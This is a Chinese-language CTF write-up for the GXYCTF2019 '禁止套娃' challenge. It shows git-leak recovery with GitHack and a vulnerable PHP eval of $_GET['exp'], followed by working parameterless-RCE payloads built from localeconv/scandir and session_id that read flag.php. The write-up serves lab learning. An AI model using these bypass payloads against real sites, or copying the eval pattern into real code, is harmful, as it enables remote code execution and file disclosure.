[GXYCTF2019]禁止套娃1 [GitHack] [无参数RCE]

发布于:2025-03-30 ⋅ 阅读:(27) ⋅ 点赞:(0)

Git基础

Git信息泄露原理解析及利用总结 - FreeBuf网络安全行业门户

CTF中的GIT泄露_ctf git泄露-CSDN博客

Git结构

dirsearch扫出来一大堆东西(然而这些并没有什么屁用)

但也算起码了解了git结构了吧

/.git/HEAD:表示当前HEAD指针的指向

ref: refs/heads/master

/.git/logs/HEAD:表示HEAD的变更历史

0000000000000000000000000000000000000000     一开始的

e729e0b15f06da388b0e634afffd19b8e17b572a     当前的

Your Name <you@example.com> 

1577283742 +0800	

commit (initial): init             提交的init不是文件而是类似于备注之类的东西,在下文/.git/COMMIT_EDITMSG也出现了

(换行后)

/.git/info/exclude:

# git ls-files --others --exclude-from=.git/info/exclude
# Lines that start with '#' are comments.
# For a project mostly in C, the following would be a good set of
# exclude patterns (uncomment them if you want to use them):
# *.[oa]
# *~

/.git/COMMIT_EDITMSG:用来临时存储提交消息(Commit Message)的文件

init
# Please enter the commit message for your changes. Lines starting
# with '#' will be ignored, and an empty message aborts the commit.
#
# On branch master
#
# Initial commit
#
# Changes to be committed:
#	new file:   index.php
#
# Untracked files:
#	flag.php
#

/.git/config:存储针对当前仓库的特定配置信息

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true

/.git/description:

Unnamed repository; edit this file 'description' to name the repository.

/.git/index:

DIRC      ^p?茭
^p?茭
  ?  2I?  仱  ?  ?  渜iB+餲kSi襑v?a醁B寪 	index.php TREE    1 0
朄q G妮ㄏ^?渥樊畹N?G?隂?xD邝?倷

/.git/logs/refs/heads/master:

0000000000000000000000000000000000000000 e729e0b15f06da388b0e634afffd19b8e17b572a Your Name <you@example.com> 1577283742 +0800	commit (initial): init

 /.git/refs/heads/master:git仓库的默认分支

e729e0b15f06da388b0e634afffd19b8e17b572a

用kali上的GitHack但是没有成功 

用kali扫了半天都是空仓库,不知道为什么,在windows上下了一个立马就好了

得到index.php 

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

无参数RCE

特征过滤:

 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

就是只让你传函数,但是函数里面不能有参数

绕过方法

无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

方法一 使用localeconv()+scandir()等函数嵌套

注意这里末尾一定要有  ;  

/?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

localeconv() 返回一个数组,包含本地化(locale)的货币和数值格式信息,第一个值就是 . 

. 表示当前目录

current() 返回数组内部指针当前指向的元素值(默认指向第一个元素)

scandir() 返回当前文件中所有目录列表(返回一个数组)

数组移动操作:

1.next()  将内部指针指向数组中下一个元素并输出

2.end()  将内部指针指向最后一个元素并输出

3.prev() 指向前一个元素并输出

4.reset() 指向第一个元素并输出

5.each() 返回当前元素的键名和键值,并让指针向前移动

错误payload1:

/?exp=var_dump(scandir(localeconv()))

为什么不对?因为这里localeconv()返回的是一个数组,scandir()接收到数组的时候会尝试将参数转换为Array,而Array目录不存在,所以会失败

错误payload2:

/?exp=highligth_file(next(next(next(scandir(current(localeconv()))))));

highlight_file(): 显示flag.phpd的件内容

var_dump():用于显示文件名

错误payload3:

/?exp=highlight_file(prev(end(scandir(current(localeconv())))));

为什么不对!!我觉得很对!! 

方法二 使用session_id

/?exp=highlight_file(session_id(session_start()));

这里readfile也可以,区别在于readfile是直接读取文件内容(不带<?php),而highlight_file()是显示源码,带着<?php

session_id()如果传入参数时候会设置当前会话id(设置的值就是传入的参数),如果不传入参数的时候会返回当前会话的id

session_start() 启动会话成功以后会返回bool值true,这个值传入到session_id()中没有什么实际意义(不是id),所以session_id()会当作没有参数传入并返回当前会话的id,我们可以通过操纵当前会话id来实现highlight_file文件读取

为什么有时候能发出去有时候发不出去??

后来才尝试出来发的时候消息包末尾要有两行换行!!

readfile()

 highlight_file()